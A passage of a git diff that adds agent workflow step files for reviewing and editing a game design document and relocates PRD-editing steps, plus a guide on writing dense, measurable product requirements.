+
+- 🎯 Focus ONLY on review and analysis, not editing yet
+- 🚫 FORBIDDEN to make changes to the GDD in this step
+- 💬 Approach: Thorough analysis with user confirmation on plan
+- 🚪 This is a middle step - user confirms plan before proceeding
+
+## EXECUTION PROTOCOLS:
+
+- 🎯 Load and analyze validation report (if provided)
+- 🎯 Deep review of entire GDD
+- 🎯 Map validation findings to specific sections
+- 🎯 Prepare detailed change plan
+- 💬 Get user confirmation on plan
+- 🚫 FORBIDDEN to proceed to edit without user approval
+
+## CONTEXT BOUNDARIES:
+
+- Available context: GDD file, validation report (if provided), user requirements from step e-01
+- Focus: Analysis and planning only (no editing)
+- Limits: Don't change the GDD yet, don't validate yet
+- Dependencies: Step e-01 completed - requirements and format known
+
+## MANDATORY SEQUENCE
+
+**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise unless user explicitly requests a change.
+
+### 1. Attempt Sub-Process Deep Review
+
+**Try to use Task tool with sub-agent:**
+
+"Perform deep GDD review and change planning:
+
+**Context from step e-01:**
+
+- User's edit requirements: {user_requirements}
+- GDD format: {canonical / variant / legacy}
+- Validation report provided: {yes/no}
+- Conversion mode: {restructure/targeted/both} (if legacy)
+
+**IF validation report provided:**
+
+1. Extract all findings from validation report
+2. Map findings to specific GDD sections
+3. Prioritize by severity: Critical > Warning > Informational
+4. For each critical issue: identify the specific fix needed
+5. For user's manual edit goals: identify where in the GDD to apply
+
+**IF no validation report:**
+
+1. Read the entire GDD thoroughly
+2. Analyze against BMAD GDD standards (from gdd-purpose.md)
+3. Identify issues in:
+   - Information density (pitch-deck fluff, subjective adjectives)
+   - Structure and flow (pillars → loop → mechanics coherence)
+   - Completeness (missing sections: out of scope, success metrics, etc.)
+   - Measurability (mechanics without concrete values, vague tech targets)
+   - Traceability (mechanics that don't serve a pillar, orphan systems)
+   - Engine / implementation leakage (engine class names, shader details, etc.)
+4. Map user's edit goals to specific sections
+
+**Output:**
+
+- Section-by-section analysis
+- Specific changes needed for each section
+- Prioritized action list
+- Recommended order for applying changes
+
+Return detailed change plan with section breakdown."
+
+**Graceful degradation (if no Task tool):**
+
+- Manually read GDD sections
+- Manually analyze validation report findings (if provided)
+- Build section-by-section change plan
+- Prioritize changes by severity / user goals
+
+### 2. Build Change Plan
+
+**Organize by GDD section:**
+
+**For each section (in order):**
+
+- **Current State:** Brief description of what exists
+- **Issues Identified:** [List from validation report or manual analysis]
+- **Changes Needed:** [Specific changes required]
+- **Priority:** [Critical/High/Medium/Low]
+- **User Requirements Met:** [Which user edit goals address this section]
+
+**Include:**
+
+- Sections to add (if missing - e.g., Out of Scope, Success Metrics)
+- Sections to update (if present but needs work)
+- Content to remove (if engine leakage or off-topic)
+- Structure changes (if reformatting to canonical GDS schema)
+
+### 3. Prepare Change Plan Summary
+
+**Summary sections:**
+
+**Changes by Type:**
+
+- **Additions:** {count} sections to add
+- **Updates:** {count} sections to update
+- **Removals:** {count} items to remove (including engine/implementation detail cleanup)
+- **Restructuring:** {yes/no} if format conversion to canonical GDS schema is needed
+
+**Priority Distribution:**
+
+- **Critical:** {count} changes (must fix)
+- **High:** {count} changes (important)
+- **Medium:** {count} changes (nice to have)
+- **Low:** {count} changes (optional)
+
+**Estimated Effort:**
+[Quick/Moderate/Substantial] based on scope and complexity
+
+### 4. Present Change Plan to User
+
+Display:
+
+"**Deep Review Complete - Change Plan**
+
+**GDD Analysis:**
+{Brief summary of GDD current state}
+
+{If validation report provided:}
+**Validation Findings:**
+{count} issues identified: {critical} critical, {warning} warnings
+
+**Your Edit Requirements:**
+{summary of what user wants to edit}
+
+**Proposed Change Plan:**
+
+**By Section:**
+{Present section-by-section breakdown}
+
+**By Priority:**
+
+- Critical: {count} items
+- High: {count} items
+- Medium: {count} items
+
+**Estimated Effort:** {effort level}
+
+**Questions:**
+
+1. Does this change plan align with what you had in mind?
+2. Any sections I should add/remove/reprioritize?
+3. Any concerns before I proceed with edits?
+
+**Review the plan and let me know if you'd like any adjustments.**"
+
+### 5. Get User Confirmation
+
+Wait for user to review and provide feedback.
+
+**If user wants adjustments:**
+
+- Discuss requested changes
+- Revise change plan accordingly
+- Represent for confirmation
+
+**If user approves:**
+
+- Note: "Change plan approved. Proceeding to edit step."
+- Continue to step 6
+
+### 6. Document Approved Plan
+
+Store approved change plan for next step:
+
+- **Approved changes:** Section-by-section list
+- **Priority order:** Sequence to apply changes
+- **User confirmed:** Yes
+
+Display: "**Change Plan Approved**
+
+{Brief summary of approved plan}
+
+**Proceeding to edit step...**"
+
+Read fully and follow: {nextStepFile} (step-e-03-edit.md)
+
+### 7. Present MENU OPTIONS (If User Wants Discussion)
+
+**[A] Advanced Elicitation** - Get additional perspectives on change plan
+**[P] Party Mode** - Discuss with team for more ideas
+**[C] Continue to Edit** - Proceed with approved plan
+
+#### EXECUTION RULES:
+
+- ALWAYS halt and wait for user input
+- Only proceed to edit when user selects 'C'
+
+#### Menu Handling Logic:
+
+- IF A: Read fully and follow: {advancedElicitationTask}, then return to discussion
+- IF P: Read fully and follow: {partyModeWorkflow}, then return to discussion
+- IF C: Document approval, then load {nextStepFile}
+- IF Any other: discuss, then redisplay menu
+
+---
+
+## 🚨 SYSTEM SUCCESS/FAILURE METRICS
+
+### ✅ SUCCESS:
+
+- Validation report findings fully analyzed (if provided)
+- Deep GDD review completed systematically
+- Change plan built section-by-section
+- Changes prioritized by severity / user goals
+- User presented with clear plan
+- User confirms or adjusts plan
+- Approved plan documented for next step
+
+### ❌ SYSTEM FAILURE:
+
+- Not analyzing validation report findings (if provided)
+- Superficial review instead of deep analysis
+- Missing section-by-section breakdown
+- Not prioritizing changes
+- Proceeding without user approval
+
+**Master Rule:** Plan before editing. Thorough analysis ensures we make the right changes in the right order. User approval prevents misalignment.
diff --git a/plugins/bmad/skills/gds-edit-gdd/steps-e/step-e-03-edit.md b/plugins/bmad/skills/gds-edit-gdd/steps-e/step-e-03-edit.md
new file mode 100644
index 0000000..aaaba68
--- /dev/null
+++ b/plugins/bmad/skills/gds-edit-gdd/steps-e/step-e-03-edit.md
@@ -0,0 +1,273 @@
+---
+name: 'step-e-03-edit'
+description: 'Edit & Update - Apply changes to the GDD following the approved change plan'
+
+# File references (ONLY variables used in this step)
+nextStepFile: './step-e-04-complete.md'
+gddFile: '{gdd_file_path}'
+gddPurpose: '../data/gdd-purpose.md'
+validationWorkflow: 'skill:gds-validate-gdd'
+---
+
+# Step E-3: Edit & Update
+
+## STEP GOAL:
+
+Apply changes to the GDD following the approved change plan from step e-02, including content updates, structure improvements, and format conversion to the canonical gds-create-gdd schema if needed.
+
+## MANDATORY EXECUTION RULES (READ FIRST):
+
+### Universal Rules:
+
+- 🛑 ALWAYS generate content WITH user input/approval
+- 📖 CRITICAL: Read the complete step file before taking any action
+- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
+- 📋 YOU ARE A FACILITATOR, not a content generator
+- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
+- ✅ YOU MUST ALWAYS WRITE all artifact and document content in `{document_output_language}`
+
+### Role Reinforcement:
+
+- ✅ You are a Validation Architect and GDD Improvement Specialist
+- ✅ If you already have been given communication or persona patterns, continue to use those while playing this new role
+- ✅ We engage in collaborative dialogue, not command-response
+- ✅ You bring analytical expertise and precise editing skills
+- ✅ User brings game vision and approval authority
+
+### Step-Specific Rules:
+
+- 🎯 Focus ONLY on implementing approved changes from step e-02
+- 🚫 FORBIDDEN to make changes beyond the approved plan
+- 💬 Approach: Methodical, section-by-section execution
+- 🚪 This is a middle step - user can request adjustments
+
+## EXECUTION PROTOCOLS:
+
+- 🎯 Follow approved change plan systematically
+- 💾 Edit GDD content according to plan
+- 📖 Update frontmatter as needed
+- 🚫 FORBIDDEN to proceed without completion
+
+## CONTEXT BOUNDARIES:
+
+- Available context: GDD file, approved change plan from step e-02, gdd-purpose standards
+- Focus: Implementing changes from approved plan only
+- Limits: Don't add changes beyond plan, don't validate yet
+- Dependencies: Step e-02 completed - plan approved by user
+
+## MANDATORY SEQUENCE
+
+**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise unless user explicitly requests a change.
+
+### 1. Retrieve Approved Change Plan
+
+From step e-02, retrieve:
+
+- **Approved changes:** Section-by-section list
+- **Priority order:** Sequence to apply changes
+- **User requirements:** Edit goals from step e-01
+
+Display: "**Starting GDD Edits**
+
+**Change Plan:** {summary}
+**Total Changes:** {count}
+**Estimated Effort:** {effort level}
+
+**Proceeding with edits section by section...**"
+
+### 2. Attempt Sub-Process Edits (For Complex Changes)
+
+**Try to use Task tool with sub-agent for major sections:**
+
+"Execute GDD edits for {section_name}:
+
+**Context:**
+
+- Section to edit: {section_name}
+- Current content: {existing content}
+- Changes needed: {specific changes from plan}
+- BMAD GDD standards: Load from gdd-purpose.md
+
+**Tasks:**
+
+1. Read current GDD section
+2. Apply specified changes
+3. Ensure BMAD GDD principles compliance:
+   - High information density (no pitch-deck fluff)
+   - Measurable mechanics (concrete numbers for timings, damages, costs)
+   - Clear traceability to pillars and core loop
+   - No engine/implementation leakage (engine details belong in architecture)
+   - Proper markdown formatting
+4. Return updated section content
+
+Apply changes and return updated section."
+
+**Graceful degradation (if no Task tool):**
+
+- Perform edits directly in current context
+- Load GDD section, apply changes, save
+
+### 3. Execute Changes Section-by-Section
+
+**For each section in the approved plan (in priority order):**
+
+**a) Load current section**
+
+- Read the current GDD section content
+- Note what exists
+
+**b) Apply changes per plan**
+
+- Additions: Create new sections with proper content (e.g., Out of Scope, Success Metrics)
+- Updates: Modify existing content per plan
+- Removals: Remove specified content (including engine/implementation detail leakage)
+- Restructuring: Reformat content to canonical GDS schema
+
+**c) Update GDD file**
+
+- Apply changes to the GDD
+- Save updated GDD
+- Verify changes applied correctly
+
+**Display progress after each section:**
+"**Section Updated:** {section_name}
+Changes: {brief summary}
+{More sections remaining...}"
+
+### 4. Handle Restructuring (If Needed)
+
+**If conversion mode is "Full restructuring" or "Both":**
+
+**For restructuring:**
+
+- Reorganize GDD to the canonical gds-create-gdd schema
+- Ensure proper `##` Level 2 headers
+- Reorder sections logically
+- Update GDD frontmatter to match canonical format
+
+**Follow canonical GDS schema section order:**
+
+1. Executive Summary
+2. Goals and Context
+3. Core Gameplay
+4. Game Mechanics
+5. Game-Type Specific Sections (if applicable)
+6. Progression and Balance
+7. Level Design Framework
+8. Art and Audio Direction
+9. Technical Specifications
+10. Development Epics
+11. Success Metrics
+12. Out of Scope
+13. Assumptions and Dependencies
+
+Display: "**GDD Restructured**
+Canonical GDS schema applied.
+{Sections added/reordered}"
+
+### 5. Update GDD Frontmatter
+
+**Ensure frontmatter is complete and accurate:**
+
+```yaml
+---
+workflowType: 'gdd'
+workflow: 'edit' # or 'create' or 'validate'
+classification:
+  gameType: '{game_type}'
+  platforms: '{platforms}'
+  genreComplexity: '{complexity}'
+inputDocuments: [list of input documents]
+stepsCompleted: ['step-e-01-discovery', 'step-e-02-review', 'step-e-03-edit']
+lastEdited: '{current_date}'
+editHistory:
+  - date: '{current_date}'
+    changes: '{summary of changes}'
+---
+```
+
+**Update frontmatter accordingly.**
+
+### 6. Final Review of Changes
+
+**Load complete updated GDD**
+
+**Verify:**
+
+- All approved changes applied correctly
+- GDD structure is sound
+- No unintended modifications
+- Frontmatter is accurate
+
+**If issues found:**
+
+- Fix them now
+- Note corrections made
+
+**If user wants adjustments:**
+
+- Accept feedback and make adjustments
+- Re-verify after adjustments
+
+### 7. Confirm Completion
+
+Display:
+
+"**GDD Edits Complete**
+
+**Changes Applied:** {count} sections modified
+**GDD Updated:** {gdd_file_path}
+
+**Summary of Changes:**
+{Brief bullet list of major changes}
+
+**GDD is ready for:**
+
+- Use in downstream GDS workflows (architecture, epics, production)
+- Validation (if not yet validated)
+
+**What would you like to do next?**"
+
+### 8. Present MENU OPTIONS
+
+**[V] Run Validation** - Execute full validation workflow via {validationWorkflow}
+**[S] Summary Only** - End with summary of changes (no validation)
+**[A] Adjust** - Make additional edits
+**[X] Exit** - Exit edit workflow
+
+#### EXECUTION RULES:
+
+- ALWAYS halt and wait for user input
+- Only proceed based on user selection
+
+#### Menu Handling Logic:
+
+- IF V (Validate): Display "Starting validation workflow..." then invoke the `gds-validate-gdd` skill
+- IF S (Summary): Present edit summary and proceed to {nextStepFile}
+- IF A (Adjust): Accept additional requirements, loop back to editing
+- IF X (Exit): Display summary and proceed to {nextStepFile}
+
+---
+
+## 🚨 SYSTEM SUCCESS/FAILURE METRICS
+
+### ✅ SUCCESS:
+
+- All approved changes from step e-02 applied correctly
+- Changes executed in planned priority order
+- Restructuring completed (if needed)
+- Frontmatter updated accurately
+- Final verification confirms changes
+- User can proceed to validation or exit with summary
+- Option to run validation seamlessly integrates edit and validate modes
+
+### ❌ SYSTEM FAILURE:
+
+- Making changes beyond approved plan
+- Not following priority order
+- Missing restructuring (if conversion mode)
+- Not updating frontmatter
+- No final verification
+- Not saving updated GDD
+
+**Master Rule:** Execute the plan exactly as approved. The GDD is now ready for validation or downstream use. Validation integration ensures quality.
diff --git a/plugins/bmad/skills/gds-edit-gdd/steps-e/step-e-04-complete.md b/plugins/bmad/skills/gds-edit-gdd/steps-e/step-e-04-complete.md
new file mode 100644
index 0000000..65aae48
--- /dev/null
+++ b/plugins/bmad/skills/gds-edit-gdd/steps-e/step-e-04-complete.md
@@ -0,0 +1,172 @@
+---
+name: 'step-e-04-complete'
+description: 'Complete & Validate - Present options for next steps including full validation'
+
+# File references (ONLY variables used in this step)
+gddFile: '{gdd_file_path}'
+validationWorkflow: 'skill:gds-validate-gdd'
+---
+
+# Step E-4: Complete & Validate
+
+## STEP GOAL:
+
+Present summary of completed edits and offer next steps including seamless integration with the `gds-validate-gdd` validation workflow.
+
+## MANDATORY EXECUTION RULES (READ FIRST):
+
+### Universal Rules:
+
+- 🛑 ALWAYS generate content WITH user input/approval
+- 📖 CRITICAL: Read the complete step file before taking any action
+- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
+- 📋 YOU ARE A FACILITATOR, not a content generator
+- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
+- ✅ YOU MUST ALWAYS WRITE all artifact and document content in `{document_output_language}`
+
+### Role Reinforcement:
+
+- ✅ You are a Validation Architect and GDD Improvement Specialist
+- ✅ If you already have been given communication or persona patterns, continue to use those while playing this new role
+- ✅ We engage in collaborative dialogue, not command-response
+- ✅ You bring synthesis and summary expertise
+- ✅ User chooses next actions
+
+### Step-Specific Rules:
+
+- 🎯 Focus ONLY on presenting summary and options
+- 🚫 FORBIDDEN to make additional changes
+- 💬 Approach: Clear, concise summary with actionable options
+- 🚪 This is the final edit step - no more edits
+
+## EXECUTION PROTOCOLS:
+
+- 🎯 Compile summary of all changes made
+- 🎯 Present options clearly with expected outcomes
+- 📖 Route to validation if user chooses
+- 🚫 FORBIDDEN to proceed without user selection
+
+## CONTEXT BOUNDARIES:
+
+- Available context: Updated GDD file, edit history from step e-03
+- Focus: Summary and options only (no more editing)
+- Limits: Don't make changes, just present options
+- Dependencies: Step e-03 completed - all edits applied
+
+## MANDATORY SEQUENCE
+
+**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise unless user explicitly requests a change.
+
+### 1. Compile Edit Summary
+
+From step e-03 change execution, compile:
+
+**Changes Made:**
+
+- Sections added: {list with names}
+- Sections updated: {list with names}
+- Content removed: {list - especially engine/implementation cleanup}
+- Structure changes: {description}
+
+**Edit Details:**
+
+- Total sections affected: {count}
+- Mode: {restructure/targeted/both}
+- Priority addressed: {Critical/High/Medium/Low}
+
+**GDD Status:**
+
+- Format: {Canonical GDS Schema / GDS Variant / Legacy (converted)}
+- Completeness: {assessment}
+- Ready for: {downstream use cases}
+
+### 2. Present Completion Summary
+
+Display:
+
+"**✓ GDD Edit Complete**
+
+**Updated GDD:** {gdd_file_path}
+
+**Changes Summary:**
+{Present bulleted list of major changes}
+
+**Edit Mode:** {mode}
+**Sections Modified:** {count}
+
+**GDD Format:** {format}
+
+**GDD is now ready for:**
+
+- Downstream GDS workflows (architecture, epics, production, playtesting)
+- Validation to ensure quality
+- Team review and production use
+
+**What would you like to do next?**"
+
+### 3. Present MENU OPTIONS
+
+Display:
+
+**[V] Run Full Validation** - Execute complete validation workflow via {validationWorkflow} to verify GDD quality
+**[E] Edit More** - Make additional edits to the GDD
+**[S] Summary** - End with detailed summary of changes
+**[X] Exit** - Exit edit workflow
+
+#### EXECUTION RULES:
+
+- ALWAYS halt and wait for user input
+- Only proceed based on user selection
+
+#### Menu Handling Logic:
+
+- **IF V (Run Full Validation):**
+  - Display: "**Starting Validation Workflow**"
+  - Display: "This will run all 13 validation checks on the updated GDD."
+  - Display: "Preparing to validate: {gdd_file_path}"
+  - Display: "**Proceeding to validation...**"
+  - Invoke the `gds-validate-gdd` skill — it will run its complete 13-step validation process on the updated GDD
+
+- **IF E (Edit More):**
+  - Display: "**Additional Edits**"
+  - Ask: "What additional edits would you like to make?"
+  - Accept input, then display: "**Returning to edit step...**"
+  - Read fully and follow: step-e-03-edit.md again
+
+- **IF S (Summary):**
+  - Display detailed summary including:
+    - Complete list of all changes made
+    - Before/after comparison (key improvements)
+    - Recommendations for next steps
+  - Display: "**Edit Workflow Complete**"
+  - Exit
+
+- **IF X (Exit):**
+  - Display summary
+  - Display: "**Edit Workflow Complete**"
+  - Exit
+
+- **IF Any other:** Help user, then redisplay menu
+
+---
+
+## 🚨 SYSTEM SUCCESS/FAILURE METRICS
+
+### ✅ SUCCESS:
+
+- Complete edit summary compiled accurately
+- All changes clearly documented
+- Options presented with clear expectations
+- Validation option seamlessly hands off to `gds-validate-gdd`
+- User can validate, edit more, or exit
+- Clean handoff to validation workflow (if chosen)
+- Edit workflow completes properly
+
+### ❌ SYSTEM FAILURE:
+
+- Missing changes in summary
+- Not offering validation option
+- Not documenting completion properly
+- No clear handoff to validation workflow
+
+**Master Rule:** The edit workflow seamlessly integrates with validation. User can edit → validate → edit again → validate again in an iterative improvement cycle.
diff --git a/plugins/bmad/skills/gds-edit-prd/SKILL.md b/plugins/bmad/skills/gds-edit-prd/SKILL.md
new file mode 100644
index 0000000..5ad9148
--- /dev/null
+++ b/plugins/bmad/skills/gds-edit-prd/SKILL.md
@@ -0,0 +1,6 @@
+---
+name: gds-edit-prd
+description: 'Edit an existing PRD. Use when the user says "edit this PRD" or "improve this PRD".'
+---
+
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-edit-prd/data/prd-purpose.md b/plugins/bmad/skills/gds-edit-prd/data/prd-purpose.md
new file mode 100644
index 0000000..d8b334b
--- /dev/null
+++ b/plugins/bmad/skills/gds-edit-prd/data/prd-purpose.md
@@ -0,0 +1,197 @@
+# BMAD PRD Purpose
+
+**The PRD is the top of the required funnel that feeds all subsequent product development work in the BMad Method.**
+
+---
+
+## What is a BMAD PRD?
+
+A dual-audience document serving:
+1. **Human Product Managers and builders** - Vision, strategy, stakeholder communication
+2. **LLM Downstream Consumption** - UX Design → Architecture → Epics → Development AI Agents
+
+Each successive document becomes more AI-tailored and granular.
+
+---
+
+## Core Philosophy: Information Density
+
+**High Signal-to-Noise Ratio**
+
+Every sentence must carry information weight. LLMs consume precise, dense content efficiently.
+
+**Anti-Patterns (Eliminate These):**
+- ❌ "The system will allow users to..." → ✅ "Users can..."
+- ❌ "It is important to note that..." → ✅ State the fact directly
+- ❌ "In order to..." → ✅ "To..."
+- ❌ Conversational filler and padding → ✅ Direct, concise statements
+
+**Goal:** Maximum information per word. Zero fluff.
+
+---
+
+## The Traceability Chain
+
+**PRD starts the chain:**
+```
+Vision → Success Criteria → User Journeys → Functional Requirements → (future: User Stories)
+```
+
+**In the PRD, establish:**
+- Vision → Success Criteria alignment
+- Success Criteria → User Journey coverage
+- User Journey → Functional Requirement mapping
+- All requirements traceable to user needs
+
+**Why:** Each downstream artifact (UX, Architecture, Epics, Stories) must trace back to documented user needs and business objectives. This chain ensures we build the right thing.
+
+---
+
+## What Makes Great Functional Requirements?
+
+### FRs are Capabilities, Not Implementation
+
+**Good FR:** "Users can reset their password via email link"
+**Bad FR:** "System sends JWT via email and validates with database" (implementation leakage)
+
+**Good FR:** "Dashboard loads in under 2 seconds for 95th percentile"
+**Bad FR:** "Fast loading time" (subjective, unmeasurable)
+
+### SMART Quality Criteria
+
+**Specific:** Clear, precisely defined capability
+**Measurable:** Quantifiable with test criteria
+**Attainable:** Realistic within constraints
+**Relevant:** Aligns with business objectives
+**Traceable:** Links to source (executive summary or user journey)
+
+### FR Anti-Patterns
+
+**Subjective Adjectives:**
+- ❌ "easy to use", "intuitive", "user-friendly", "fast", "responsive"
+- ✅ Use metrics: "completes task in under 3 clicks", "loads in under 2 seconds"
+
+**Implementation Leakage:**
+- ❌ Technology names, specific libraries, implementation details
+- ✅ Focus on capability and measurable outcomes
+
+**Vague Quantifiers:**
+- ❌ "multiple users", "several options", "various formats"
+- ✅ "up to 100 concurrent users", "3-5 options", "PDF, DOCX, TXT formats"
+
+**Missing Test Criteria:**
+- ❌ "The system shall provide notifications"
+- ✅ "The system shall send email notifications within 30 seconds of trigger event"
+
+---
+
+## What Makes Great Non-Functional Requirements?
+
+### NFRs Must Be Measurable
+
+**Template:**
+```
+"The system shall [metric] [condition] [measurement method]"
+```
+
+**Examples:**
+- ✅ "The system shall respond to API requests in under 200ms for 95th percentile as measured by APM monitoring"
+- ✅ "The system shall maintain 99.9% uptime during business hours as measured by cloud provider SLA"
+- ✅ "The system shall support 10,000 concurrent users as measured by load testing"
+
+### NFR Anti-Patterns
+
+**Unmeasurable Claims:**
+- ❌ "The system shall be scalable" → ✅ "The system shall handle 10x load growth through horizontal scaling"
+- ❌ "High availability required" → ✅ "99.9% uptime as measured by cloud provider SLA"
+
+**Missing Context:**
+- ❌ "Response time under 1 second" → ✅ "API response time under 1 second for 95th percentile under normal load"
+
+---
+
+## Domain-Specific Requirements
+
+**Auto-Detect and Enforce Based on Project Context**
+
+Certain industries have mandatory requirements that must be present:
+
+- **Healthcare:** HIPAA Privacy & Security Rules, PHI encryption, audit logging, MFA
+- **Fintech:** PCI-DSS Level 1, AML/KYC compliance, SOX controls, financial audit trails
+- **GovTech:** NIST framework, Section 508 accessibility (WCAG 2.1 AA), FedRAMP, data residency
+- **E-Commerce:** PCI-DSS for payments, inventory accuracy, tax calculation by jurisdiction
+
+**Why:** Missing these requirements in the PRD means they'll be missed in architecture and implementation, creating expensive rework. During PRD creation there is a step to cover this - during validation we want to make sure it was covered. For this purpose steps will utilize a domain-complexity.csv and project-types.csv.
+
+---
+
+## Document Structure (Markdown, Human-Readable)
+
+### Required Sections
+1. **Executive Summary** - Vision, differentiator, target users
+2. **Success Criteria** - Measurable outcomes (SMART)
+3. **Product Scope** - MVP, Growth, Vision phases
+4. **User Journeys** - Comprehensive coverage
+5. **Domain Requirements** - Industry-specific compliance (if applicable)
+6. **Innovation Analysis** - Competitive differentiation (if applicable)
+7. **Project-Type Requirements** - Platform-specific needs
+8. **Functional Requirements** - Capability contract (FRs)
+9. **Non-Functional Requirements** - Quality attributes (NFRs)
+
+### Formatting for Dual Consumption
+
+**For Humans:**
+- Clear, professional language
+- Logical flow from vision to requirements
+- Easy for stakeholders to review and approve
+
+**For LLMs:**
+- ## Level 2 headers for all main sections (enables extraction)
+- Consistent structure and patterns
+- Precise, testable language
+- High information density
+
+---
+
+## Downstream Impact
+
+**How the PRD Feeds Next Artifacts:**
+
+**UX Design:**
+- User journeys → interaction flows
+- FRs → design requirements
+- Success criteria → UX metrics
+
+**Architecture:**
+- FRs → system capabilities
+- NFRs → architecture decisions
+- Domain requirements → compliance architecture
+- Project-type requirements → platform choices
+
+**Epics & Stories (created after architecture):**
+- FRs → user stories (1 FR could map to 1-3 stories potentially)
+- Acceptance criteria → story acceptance tests
+- Priority → sprint sequencing
+- Traceability → stories map back to vision
+
+**Development AI Agents:**
+- Precise requirements → implementation clarity
+- Test criteria → automated test generation
+- Domain requirements → compliance enforcement
+- Measurable NFRs → performance targets
+
+---
+
+## Summary: What Makes a Great BMAD PRD?
+
+✅ **High Information Density** - Every sentence carries weight, zero fluff
+✅ **Measurable Requirements** - All FRs and NFRs are testable with specific criteria
+✅ **Clear Traceability** - Each requirement links to user need and business objective
+✅ **Domain Awareness** - Industry-specific requirements auto-detected and included
+✅ **Zero Anti-Patterns** - No subjective adjectives, implementation leakage, or vague quantifiers
+✅ **Dual Audience Optimized** - Human-readable AND LLM-consumable
+✅ **Markdown Format** - Professional, clean, accessible to all stakeholders
+
+---
+
+**Remember:** The PRD is the foundation. Quality here ripples through every subsequent phase. A dense, precise, well-traced PRD makes UX design, architecture, epic breakdown, and AI development dramatically more effective.
diff --git a/plugins/bmad/skills/create-prd/steps-e/step-e-01-discovery.md b/plugins/bmad/skills/gds-edit-prd/steps-e/step-e-01-discovery.md
similarity index 97%
rename from plugins/bmad/skills/create-prd/steps-e/step-e-01-discovery.md
rename to plugins/bmad/skills/gds-edit-prd/steps-e/step-e-01-discovery.md
index 887fc67..315be88 100644
--- a/plugins/bmad/skills/create-prd/steps-e/step-e-01-discovery.md
+++ b/plugins/bmad/skills/gds-edit-prd/steps-e/step-e-01-discovery.md
@@ -4,9 +4,9 @@ description: 'Discovery & Understanding - Understand what user wants to edit and
 
 # File references (ONLY variables used in this step)
 altStepFile: './step-e-01b-legacy-conversion.md'
-prdPurpose: '${CLAUDE_PLUGIN_ROOT}/skills/create-prd/data/prd-purpose.md'
+prdPurpose: '../data/prd-purpose.md'
 advancedElicitationTask: 'skill:bmad-advanced-elicitation'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step E-1: Discovery & Understanding
@@ -24,6 +24,7 @@ Understand what the user wants to edit in the PRD, detect PRD format/type, check
 - 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
 - 📋 YOU ARE A FACILITATOR, not a content generator
 - ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
+- ✅ YOU MUST ALWAYS WRITE all artifact and document content in `{document_output_language}`
 
 ### Role Reinforcement:
 
diff --git a/plugins/bmad/skills/create-prd/steps-e/step-e-01b-legacy-conversion.md b/plugins/bmad/skills/gds-edit-prd/steps-e/step-e-01b-legacy-conversion.md
similarity index 98%
rename from plugins/bmad/skills/create-prd/steps-e/step-e-01b-legacy-conversion.md
rename to plugins/bmad/skills/gds-edit-prd/steps-e/step-e-01b-legacy-conversion.md
index eeaceb9..8ce0489 100644
--- a/plugins/bmad/skills/create-prd/steps-e/step-e-01b-legacy-conversion.md
+++ b/plugins/bmad/skills/gds-edit-prd/steps-e/step-e-01b-legacy-conversion.md
@@ -5,7 +5,7 @@ description: 'Legacy PRD Conversion Assessment - Analyze legacy PRD and propose
 # File references (ONLY variables used in this step)
 nextStepFile: './step-e-02-review.md'
 prdFile: '{prd_file_path}'
-prdPurpose: '${CLAUDE_PLUGIN_ROOT}/skills/create-prd/data/prd-purpose.md'
+prdPurpose: '../data/prd-purpose.md'
 ---
 
 # Step E-1B: Legacy PRD Conversion Assessment
diff --git a/plugins/bmad/skills/create-prd/steps-e/step-e-02-review.md b/plugins/bmad/skills/gds-edit-prd/steps-e/step-e-02-review.md
similarity index 98%
rename from plugins/bmad/skills/create-prd/steps-e/step-e-02-review.md
rename to plugins/bmad/skills/gds-edit-prd/steps-e/step-e-02-review.md
index 5f873c8..306a9e6 100644
--- a/plugins/bmad/skills/create-prd/steps-e/step-e-02-review.md
+++ b/plugins/bmad/skills/gds-edit-prd/steps-e/step-e-02-review.md
@@ -6,7 +6,7 @@ description: 'Deep Review & Analysis - Thoroughly review existing PRD and prepar
 nextStepFile: './step-e-03-edit.md'
 prdFile: '{prd_file_path}'
 validationReport: '{validation_report_path}'  # If provided
-prdPurpose: '${CLAUDE_PLUGIN_ROOT}/skills/create-prd/data/prd-purpose.md'
+prdPurpose: '../data/prd-purpose.md'
 advancedElicitationTask: 'skill:bmad-advanced-elicitation'
 ---
 
@@ -25,6 +25,7 @@ Thoroughly review the existing PRD, analyze validation report findings (if provi
 - 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
 - 📋 YOU ARE A FACILITATOR, not a content generator
 - ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
+- ✅ YOU MUST ALWAYS WRITE all artifact and document content in `{document_output_language}`
 
 ### Role Reinforcement:
 
diff --git a/plugins/bmad/skills/create-prd/steps-e/step-e-03-edit.md b/plugins/bmad/skills/gds-edit-prd/steps-e/step-e-03-edit.md
similarity index 98%
rename from plugins/bmad/skills/create-prd/steps-e/step-e-03-edit.md
rename to plugins/bmad/skills/gds-edit-prd/steps-e/step-e-03-edit.md
index cf83b46..ca980f6 100644
--- a/plugins/bmad/skills/create-prd/steps-e/step-e-03-edit.md
+++ b/plugins/bmad/skills/gds-edit-prd/steps-e/step-e-03-edit.md
@@ -5,7 +5,7 @@ description: 'Edit & Update - Apply changes to PRD following approved change pla
 # File references (ONLY variables used in this step)
 nextStepFile: './step-e-04-complete.md'
 prdFile: '{prd_file_path}'
-prdPurpose: '${CLAUDE_PLUGIN_ROOT}/skills/create-prd/data/prd-purpose.md'
+prdPurpose: '../data/prd-purpose.md'
 ---
 
 # Step E-3: Edit & Update
@@ -23,6 +23,7 @@ Apply changes to the PRD following the approved change plan from step e-02, incl
 - 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
 - 📋 YOU ARE A FACILITATOR, not a content generator
 - ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
